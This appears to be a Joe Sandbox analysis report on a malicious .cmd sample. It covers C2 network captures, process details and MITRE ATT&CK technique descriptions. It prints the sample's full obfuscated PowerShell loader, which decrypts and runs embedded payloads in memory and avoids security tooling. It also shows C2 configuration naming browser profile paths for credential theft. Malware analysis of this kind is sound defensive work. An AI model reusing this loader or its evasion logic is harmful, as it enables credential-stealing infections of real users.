Oct 16, 2024 20:39:20.305659056 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.305666924 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.305680037 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.309540987 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.692446947 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.744509935 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.764790058 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.765263081 CEST	49705	57942	192.168.2.8	51.195.145.77

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 16, 2024 20:39:15.805913925 CEST	53783	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 16, 2024 20:39:15.805913925 CEST	192.168.2.8	1.1.1.1	0x5324	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 16, 2024 20:39:15.813205004 CEST	1.1.1.1	192.168.2.8	0x5324	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

51.195.145.77:57942

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	51.195.145.77	57942	2768	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 20:39:08.564331055 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 51.195.145.77:57942 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Oct 16, 2024 20:39:09.331527948 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 16 Oct 2024 18:39:09 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	51.195.145.77	57942	2768	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 20:39:14.416687965 CEST	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 51.195.145.77:57942 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 16, 2024 20:39:15.250380039 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 16 Oct 2024 18:39:15 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	51.195.145.77	57942	2768	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 20:39:18.741471052 CEST	245	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 51.195.145.77:57942 Content-Length: 959963 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Oct 16, 2024 20:39:20.281784058 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 16 Oct 2024 18:39:20 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Oct 16, 2024 20:39:20.284725904 CEST	217	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 51.195.145.77:57942 Content-Length: 959955 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 16, 2024 20:39:20.692446947 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 16 Oct 2024 18:39:20 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	14:39:03
Start date:	16/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z52PO0048857.cmd" "
Imagebase:	0x7ff65f780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:39:03
Start date:	16/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:39:03
Start date:	16/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\z52PO0048857.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "
Imagebase:	0x7ff65f780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:39:03
Start date:	16/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Imagebase:	0x960000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:39:04
Start date:	16/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0x960000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 050429F0 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1443435550.0000000005040000.00000040.00000800.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dadd3f41a884268e71160f88d3972f4c5e804cfc6223b0ad9b01405030000f0d
Instruction ID: fd5c558e5201a8698d9e02c030ae660bd80d2d7163f71f4a0787455f4515e694
Opcode Fuzzy Hash: dadd3f41a884268e71160f88d3972f4c5e804cfc6223b0ad9b01405030000f0d
Instruction Fuzzy Hash: E2A17CB4A002069FCB15CF59D494AAEFBB1FF89310B2485A9E815AB365C735FC51CFA0

Function 05042B00 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1443435550.0000000005040000.00000040.00000800.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62a201bcdec9b84e5884c559608c560c7e43ed20526f2321802746ebd155ce6a
Instruction ID: 98497a3ea60567d15424bbbbbf7aaa0630f5a00dcebde5d27738b70c0ae73b6d
Opcode Fuzzy Hash: 62a201bcdec9b84e5884c559608c560c7e43ed20526f2321802746ebd155ce6a
Instruction Fuzzy Hash: 4E4116B4A0060A9FCB05CF58D598AAEF7B1FF48314B1181A9D815AB364C736FC91CFA4

Function 05043110 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1443435550.0000000005040000.00000040.00000800.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70a09341883a65349b98ef3242fc29615da15bad196ed6471eac3732a18ab72
Instruction ID: 6d4e3a0f7b53a5cd022eeaca6f7fdd14fab576aa801576c7a9d60db7063dcbf8
Opcode Fuzzy Hash: e70a09341883a65349b98ef3242fc29615da15bad196ed6471eac3732a18ab72
Instruction Fuzzy Hash: C52130B4A046099FCB04CF59C8809AEFBB1FF89310B1585A5D819E7751C735EC45CFA0

Function 05043100 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1443435550.0000000005040000.00000040.00000800.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c0c61f681ca16c437a7894b57d491b70236c7b39ac24bd334a0b99ca41b25d7
Instruction ID: 2c667bb0441fe5353eda681fea72fce0ccbc0c7377fbd674d90a9d3a11874fc7
Opcode Fuzzy Hash: 6c0c61f681ca16c437a7894b57d491b70236c7b39ac24bd334a0b99ca41b25d7
Instruction Fuzzy Hash: 7E210A74A006099FCB04CF89D8849AAFBB1FF89310B1585A9D809E7361C735EC91CFA0

Function 04B6D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1443019210.0000000004B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd7c57fba2aa6848577ec01b10743aa77751787bfa36668715662856d178175
Instruction ID: 006de140ace0d5f40a02217e6a3034b6f8016f5cd49a431176ee42efa89c4217
Opcode Fuzzy Hash: 3dd7c57fba2aa6848577ec01b10743aa77751787bfa36668715662856d178175
Instruction Fuzzy Hash: 4B019E7250D3C09FD7124B219C94752BFA8DF43624F1980DBE9898F1A3C26DAC45CB72

Function 04B6D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1443019210.0000000004B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5493b9bb21c0ff6f0d04ed3b45f9844d70f4e61a9f63e540e8bf7943a4f87c0
Instruction ID: 245b3ab5bd40801ae9c01c8ad73b519f5d6c33bb369da9ca1e3831359ed78408
Opcode Fuzzy Hash: a5493b9bb21c0ff6f0d04ed3b45f9844d70f4e61a9f63e540e8bf7943a4f87c0
Instruction Fuzzy Hash: 3B01F7716043449BE7204E31DC80B67BF9CDF81625F18C49ADD0A4B142C27DA841C7B1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report z52PO0048857.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4czvfbzv.1zw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5un1atl.uht.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0quh5wl.lok.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ylubsnwe.iv2.psm1

